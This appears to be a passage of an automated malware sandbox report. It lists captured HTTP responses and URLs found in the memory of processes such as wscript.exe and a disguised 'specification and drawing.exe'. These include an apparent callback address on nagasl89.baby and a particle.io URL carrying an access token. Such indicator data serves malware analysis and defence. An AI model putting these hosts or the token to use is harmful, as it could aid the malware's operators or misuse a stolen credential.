Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 02 Dec 2024 13:38:42 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 02 Dec 2024 13:40:10 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 02 Dec 2024 13:40:13 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 02 Dec 2024 13:40:15 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 02 Dec 2024 13:40:18 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Mon, 02 Dec 2024 13:40:33 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2024-12-02T13:40:38.8801182Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 02 Dec 2024 13:40:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Bj%2FhUPlA8uq5yAyuZjDrV2m8Maf1noh2zh%2FEkSNIIo86l%2FuVuM4B%2BwREoHQOzzvaevROgvaeLhdansIE0nH0VlE%2B5eFe%2B7wu9ZiCoLNJc%2FiEa%2B0Aw6bneun38fR7H%2Fwei1Usw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ebbbb28bb180f53-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1474&rtt_var=737&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=550&delivery_rate=0&cwnd=191&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 66 62 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 69 64 2d 49 44 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 42 75 6b 61 6e 57 6f 72 64 70 72 65 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 69 74 65 6d 61 70 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 Data Ascii: 1fb4<!DOCTYPE html><html lang="id-ID"><head> <meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" /><meta name="generator" content="BukanWordpress" /><link rel="icon" type="image/x-icon" href="https://www.nagasl89.baby/favicon.ico" /><link rel="sitemap" href="https://www.nagasl89.baby

Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://giganet.ua/ru
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://inau.ua/
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://ogp.me/ns#
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://partner.mirohost.net
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schema.org/Organization
Source: specification and drawing.exe, 00000000.00000002.2178181816.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.ix.net.ua/ru
Source: LfvKCNKdvt.exe, 0000000A.00000002.4592454426.0000000004BF3000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nagasl89.baby
Source: LfvKCNKdvt.exe, 0000000A.00000002.4592454426.0000000004BF3000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nagasl89.baby/w21a/
Source: wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: specification and drawing.exe	String found in binary or memory: https://api.particle.io/v1/devices/13300350003473433373737385/digitalread?access_token=Q235ad2c91cac
Source: wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://companies.rbc.ru/
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://control.imena.ua/login.php?lang=2
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://control.mirohost.net/auth/login.php?lang=ru
Source: wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://img.imena.ua/css/media-set.css
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://img.imena.ua/js/bundle.min.js
Source: wscript.exe, 00000008.00000002.4585557607.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: wscript.exe, 00000008.00000003.2595734856.0000000007C76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: wscript.exe, 00000008.00000002.4585557607.0000000000923000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2)
Source: wscript.exe, 00000008.00000002.4585557607.0000000000923000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: wscript.exe, 00000008.00000002.4585557607.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033.Z
Source: wscript.exe, 00000008.00000002.4585557607.0000000000923000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: wscript.exe, 00000008.00000002.4585557607.0000000000923000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://mail.mirohost.net
Source: wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://parking.reg.ru/script/get_domain_data?domain_name=www.synd.fun&rand=
Source: wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://reg.ru
Source: wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: wscript.exe, 00000008.00000003.2602144851.0000000007C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/blog/
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/check-domain
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/check-domain?step=transfer
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/contact
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/datacenter
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/documents
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/domains
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/domains/premium-domains
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/domains/prices
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/domains/regtm
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/en
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/en/how-search
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/help
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/hosting
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/how-search
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/job
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/payments
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/ru
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/servers
Source: wscript.exe, 00000008.00000002.4591433307.000000000577A000.00000004.10000000.00040000.00000000.sdmp, wscript.exe, 00000008.00000002.4593196854.0000000007880000.00000004.00000800.00020000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/support/domains-finance/icann-i-ee-funkcii
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/support/domains-finance/sposoby-oplaty-uslug-imena-ua
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/ua
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/vps
Source: LfvKCNKdvt.exe, 0000000A.00000002.4590727435.0000000002FDA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.imena.ua/whois.php?domain=spectre.center
Source: wscript.exe, 00000008.00000002.4591433307.000000000590C000.00000004.10000000.00040000.00000000.sdmp, LfvKCNKdvt.exe, 0000000A.00000002.4590727435.000000000316C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.rbc.ru/technology_and_media/
